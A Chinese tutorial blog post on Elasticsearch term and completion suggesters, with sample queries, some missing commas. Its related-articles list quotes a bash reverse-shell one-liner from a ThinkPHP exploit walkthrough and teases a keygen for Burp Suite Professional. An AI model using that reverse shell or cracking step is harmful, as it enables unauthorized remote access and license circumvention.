重生之我们在ES顶端相遇第9 章- 搜索框最常用的功能 - 搜索建议

news2024/11/13 23:59:16

文章目录

      • 1 前言
      • 2 Term Suggester
        • 2.1 基本介绍
        • 2.2 使用 demo
        • 2.3 常用参数
          • 2.3.1 suggest_mode
          • 2.3.2 max_edits
          • 2.3.3 prefix_length
          • 2.3.4 min_word_length
      • 3 Completion Suggester
        • 3.1 基本描述
        • 3.2 基本使用
        • 3.3 查询参数
          • 3.3.1 size
          • 3.3.2 skip_duplicates
          • 3.3.3 fuzzy queries(模糊查询)
          • 3.3.4 Regex queries(正则匹配)
      • 4 结语

1 前言

在上章介绍完 bool 查询后。我们接下来介绍搜索最常被使用的功能:搜索建议、搜索纠错。
在 ES 中的 Suggesters API 中有以下 4 个 API

  • Term suggester
  • Phrase Suggester
  • Completion Suggester
  • Context Suggester
    本文,因章幅原因,以及开发中使用频率,只选择讲解 Term suggester, Context Suggester。更多内容请阅读 Suggesters API

2 Term Suggester

2.1 基本介绍

返回与输入的文本相似的 terms。在日常开发中,我们可以使用 term suggest 作为拼写纠错来使用。例如以下应用场景:
在这里插入图片描述

2.2 使用 demo

写入数据

POST test6/_doc
{
  "intro": "apple fruits applz"
}
POST test6/_doc
{
  "intro": "grapes fruit grapz"
}
POST test6/_doc
{
  "intro": "banana fruit bannnn"
}

查询语法

GET test6/_search
{
  "suggest": {         
    "my_suggest": {   ①
      "text": "banane",   ②
      "term": {
        "field": "intro"  ③
      }
    }
  }
}
  • ①:自定义的名词
  • ②:用户输入的文本
  • ③:被检索的字段
2.3 常用参数
2.3.1 suggest_mode

该参数有 3 个枚举值

  • missing:如果用户输入的文本存在于文档中,则不推荐。适用于拼写检查
  • popular:只推荐比用户输入的文本出现频率更高的 term。适用于推荐更流行的词
  • always:无论用户输入的文本是否存在于文档中,都推荐。

love apples 会被分词为 love, apples,这 2 个词都不存在于文档中。ES 文档中有 apple 这个词,就推荐了。

GET test6/_search
{
  "suggest": {         
    "my_suggest": { 
      "text": "love apples",   
      "term": {
        "field": "intro",
        "suggest_mode": "missing"
      }
    }
  }
}

文档中存在 fruit, fruits。但是 fruit 出现的频率大于 fruits 因此 fruit 被推荐。

GET test6/_search
{
  "suggest": {         
    "my_suggest": { 
      "text": "fruits",   
      "term": {
        "field": "intro",
         "suggest_mode": "popular"
      }
    }
  }
}

不管文档中存不存在,ES 都会推荐。

GET test6/_search
{
  "suggest": {         
    "my_suggest": { 
      "text": "applz",  
      "term": {
        "field": "intro",
         "suggest_mode": "always"
      }
    }
  }
}
2.3.2 max_edits

最大编辑距离,可选值: 1~2,默认值 2。
什么是编辑距离,举个例子。
字符串 banane 变为 banana 的编辑距离为 1;
banzza 变为 banana 的编辑距离为 2;
即:需要修正多少个字符才能变为目标字符。
也就是说,使用 term suggest 至多允许错 2 个字母。

GET test6/_search
{
  "suggest": {         
    "my_suggest": { 
      "text": "banane",   
      "term": {
        "field": "intro",
        "max_edits": 1
      }
    }
  }
}
2.3.3 prefix_length

在返回的相似文本中,最小的公共前缀长度。默认值 1。
例如,输入文本 janana,即使 ES 中存在 banana 的 term,banana 也不会被返回。因为 janana 的开头是 j, banana 的开头是 b,2 者没有公共前缀。

GET test6/_search
{
  "suggest": {         
    "my_suggest": { 
      "text": "janana",   
      "term": {
        "field": "intro",
        "prefix_length": 0
      }
    }
  }
}
2.3.4 min_word_length

用户输入的文本,被分词为 term 后,term 的长度必须大于 n,term 才会被推荐。n 默认值为 4。

例如:用户输入 grap apz 会被分词为 grap, apz 2 个 term。apz 因为长度小于 4,因此不会被推荐。 grap 长度大于等于4,因此会被推荐。

GET test6/_search
{
  "suggest": {         
    "my_suggest": { 
      "text": "grap apz",  
      "term": {
        "field": "intro"
        "string_distance": "ngram"
      }
    }
  }
}

接下来,我们修改下 min_word_length 的值。则被建议 apple, applz

GET test6/_search
{
  "suggest": {         
    "my_suggest": { 
      "text": "app",
      "term": {
        "field": "intro",
        "min_word_length": 3,
        "suggest_mode": "missing",
        "string_distance": "ngram"
      }
    }
  }
}

需要注意:该 case 修改了 string_distance 参数。如果使用默认值 internal 则不会被建议。

PS:作者对算法不熟悉,因此不过多介绍 string_distance 可选的 5 个算法。更多内容见 term suggester 官网

3 Completion Suggester

3.1 基本描述

自动补全,或者搜索建议 API,一般常用在搜索框中。例如以下搜索场景。
在这里插入图片描述

该功能有非常快的响应速度,但是是以内存做为代价。下文是 ES 官网对其描述

The completion suggester provides auto-complete/search-as-you-type functionality. This is a navigational feature to guide users to relevant results as they are typing, improving search precision. It is not meant for spell correction or did-you-mean functionality like the term or phrase suggesters.
Ideally, auto-complete functionality should be as fast as a user types to provide instant feedback relevant to what a user has already typed in. Hence, completion suggester is optimized for speed. The suggester uses data structures that enable fast lookups, but are costly to build and are stored in-memory.

3.2 基本使用

设置 mapping

PUT test7
{
  "mappings": {
    "properties": {
      "mysuggest": {
        "type": "completion"
      }
    }
  }
}

写入测试数据

POST test7/_doc
{
  "mysuggest": "helloworld"
}
POST test7/_doc
{
  "mysuggest": "hello java"
}
POST test7/_doc
{
  "mysuggest": "hello"
}
POST test7/_doc
{
  "mysuggest": "hello"
}

查询

GET test7/_search
{
  "suggest": {
    "mytest": {
      "prefix": "he",
      "completion": {
        "field": "mysuggest"
      }
    }
  } 
}
3.3 查询参数
3.3.1 size

返回结果数量

GET test7/_search
{
  "suggest": {
    "mytest": {
      "prefix": "he",
      "completion": {
        "field": "mysuggest"
        "size": "1"
      }
    }
  } 
}
3.3.2 skip_duplicates

结果去重

GET test7/_search
{
  "suggest": {
    "mytest": {
      "prefix": "he",
      "completion": {
        "field": "mysuggest",
        "size": 5,
        "skip_duplicates": true
      }
    }
  } 
}
3.3.3 fuzzy queries(模糊查询)

如果拼写有错误,也可以正常匹配结果

以下查询,是没有任何结果的,但是当我们使用 fuzzy queries 时,就允许有部分拼写错误

# 没有任何结果
POST test7/_search
{
  "suggest": {
    "mytest": {
      "prefix": "hez",
      "completion": {
        "field": "mysuggest",
        "skip_duplicates": true,
        "size": 5
      }
    }
  }
}

# 使用 `fuzzy queries` 
POST test7/_search
{
  "suggest": {
    "mytest": {
      "prefix": "hez",
      "completion": {
        "field": "mysuggest",
        "fuzzy": {
          "fuzziness": "auto"
        },
        "skip_duplicates": true,
        "size": 5
      }
    }
  }
}

fuzziness 参数可选值有:auto, 0,1,2。该参数的作用类似编辑距离。意思为允许拼写中错多少个字母。

当我们首字母拼写错误时,也想要有建议,则可以配置 prefix_length 参数,该参数默认为 1,意思为:必须满足的最小的公共前缀长度

POST test7/_search
{
  "suggest": {
    "mytest": {
      "prefix": "zhe",
      "completion": {
        "field": "mysuggest",
        "fuzzy": {
          "fuzziness": 2,
          "prefix_length": 0
        },
        "skip_duplicates": true,
        "size": 5
      }
    }
  }
}

当用户输入的文本长度为 1 时,我们也想要有建议,则可以修改 min_length 参数,该参数默认为 3,意思为:输入的文本长度最少为 3 时,才会建议

POST test7/_search
{
  "suggest": {
    "mytest": {
      "prefix": "h",
      "completion": {
        "field": "mysuggest",
        "fuzzy": {
          "fuzziness": 2,
          "min_length":1
        },
        "skip_duplicates": true,
        "size": 5
      }
    }
  }
}
3.3.4 Regex queries(正则匹配)

实际开发比较少用,不过多介绍

GET test7/_search
{
  "suggest": {
    "mytest": {
      "regex": "h.*o",
      "completion": {
        "field": "mysuggest",
        "skip_duplicates": true,
        "size": 5
      }
    }
  }
}

4 结语

我们已经将 ES 大部分主流的查询介绍完了,下一个篇章我们将介绍 ES 的分词器。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1973894.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【WPF开发】安装环境、新建工程

一、安装环境 在安装VS时候,勾选安装开发环境 如果已安装VS,可以到工具中查看是否有相应环境 二、新建工程 点击“创建新项目” 通过顶部过滤,C#,选择“WPF应用(NET.framework)”,并点击“下一…

通过 ACM 论文模版学习 LaTeX 语法 【三、格式】

文章目录 一、LaTeX 简介二、ACM 论文模版三、格式3.1 文章格式3.1.1 注释3.1.2 空格3.1.3 换行 3.2 字体3.2.1 字体样式3.2.2 字体大小2.2.3 字体颜色 一、LaTeX 简介 通过 ACM 论文模版学习 LaTeX 语法 【一、LaTeX简介和安装】 二、ACM 论文模版 通过 ACM 论文模版学习 L…

一款免费开源绿色免安装的透明锁屏工具

一款免费开源绿色免安装的透明锁屏工具 这个工具的特点就是电脑锁屏的时候,仍然显示原桌面,但是无法操作,需要输入密码才可以解锁。输入密码界面也是隐藏的需要按键才能显示输入密码框。 电脑★★★★★透明锁屏工具:https://pa…

canvas-视频绘制

通过Canvas元素来实时绘制一个视频帧,并在视频帧上叠加一个图片的功能可以当作水印。 获取Canvas元素: let canvas document.getElementById(canvas) 通过getElementById函数获取页面中ID为canvas的Canvas元素,并将其存储在变量canvas中。 …

快速将网站从HTTP升级为HTTPS

在当今数字化的世界中,网络安全变的越来越重要,HTTPS(超文本传输安全协议)不仅能够提供加密的数据传输,还能增强用户信任度,提升搜索引擎排名,为网站带来多重益处。所以将网站从HTTP升级到HTTPS…

达利欧对话施一公:如何应对快速变化的世界?

本篇是对达利欧对话施一公:如何应对快速变化的世界?|凤凰《封面》这一视频的翻译与整理, 过程中为符合中文惯用表达有适当删改, 版权归原作者所有. 达利欧:我很兴奋,施教授和我有很多共同点,即使我们来自不…

DynamicDataSource多数据源的管理,动态新增切换数据源

文章目录 多数据源管理单数据源项目父工程版本与依赖yml配置文件实体类新增与修改时间MapperServiceController主启动类测试类 多数据源初始版yml配置文件配置类创建一个AbstractRoutingDataSourceController层测试 DynamicDataSource版本引入依赖yml配置文件Controller层Servi…

量化(Quantization)技术在实现边缘设备智能化中的关键作用

节选自论文《Edge AI: Quantization as the Key to On-Device Smartness》的第三节,由YN Dwith Chenna撰写,发表在2023年8月的《International Journal of Artificial Intelligence & Applications》上。论文主要探讨了边缘人工智能(Edge…

thinkphp之命令执行漏洞复现

实战: fofa搜索thinkphp-- 第一步:先在dns平台上,点击Get SubDomain ,监控我们的注入效果 返回dnslog查看到了Java的版本信息 打开kali监听端口 进行base64编码 bash -i >& /dev/tcp/192.168.189.150/8080 0>&1 …

【速解焦虑秘籍】5步助你轻松走出焦虑迷雾,拥抱自在生活!

在这个快节奏、高压力的时代,焦虑仿佛成了许多人难以摆脱的“隐形伴侣”。它悄无声息地侵入我们的生活,影响着我们的情绪、工作乃至人际关系。但别担心,今天就带你揭秘“走出焦虑症最快的方法”,通过以下五个实用步骤,…

地理科学专业| 中国大学排行榜(2024年)

地理科学专业| 中国大学排行榜(2024年) 原文链接

拓扑未来数据中台解决方案

概述 传统自动化控制往往聚焦于局部或模块,整体运作状态靠人工管理。缺乏从时间维度观察生产周期的手段,由于生产数据缺失,导致生产过程不透明,过程质量无记录,生产工艺难优化,生产效率难以提升。利用先进…

亚马逊F控期间,如何巧妙运用自养账号进行评价?

亚马逊每年都会经历一段风险控制周期,这一时期往往伴随着商品评价的删除和卖家账户的封禁,对此,经验丰富的卖家们已经习以为常。虽然表面上看是风险控制,但实际上亚马逊只是对消费者的购买行为进行记录。导致账户被封和评论被删除…

【Python】数据类型之详讲字符串(下)

本篇文章继续讲解字符串的功能: (7)字符串内容替换,得到一个新的字符串,原字符串不变。 功能:replace(str1,str2) str1和str2都是字符串,该功能是将字符串中的str1内容替换成str2. 代码举例&…

大模型与高能物理

人工智能大模型是什么?它和我们通常讲的机器学习、深度学习有什么关系?它有什么能力?它在高能物理可能有哪些方面的应用?今天我们浅浅讨论一下这些问题。 一 溯源:从人工智能到机器学习、深度学习和大模型 1 曲折发…

【KAN】【API教程】plot

初始化KAN和创建数据集 from kan import * # create a KAN: 2D inputs, 1D output, and 5 hidden neurons. cubic spline (k=3), 5 grid intervals (grid=5). model = KAN(width=[2,5,1], grid=3, k=3, seed=1)# create dataset f(x,y) = exp(sin(pi*x)+y^2) f = lambda x: to…

MacOS上如何优雅的使用Burp Suite Professional

MacOS上如何注册使用Burp Suite Professional 文章目录 MacOS上如何注册使用Burp Suite Professional一.如何下载二.安装BurpSuite三.注册四.启动五.创建可执行文件六.写在最后 一.如何下载 JDK官网下载 BurpSuite专业版官网下载 [注册机下载]( https://pan.baidu.com/s/10…

Google引领LLM竞赛:Gemini 1.5 Pro的创新与突破

在科技领域,语言模型(LLM, Large Language Model)的发展总是备受瞩目。多年来,Google在这场竞赛中一直处于追赶的状态,但这一次,他们终于站在了领先的位置。Google近日发布了Gemini 1.5 Pro实验版本&#x…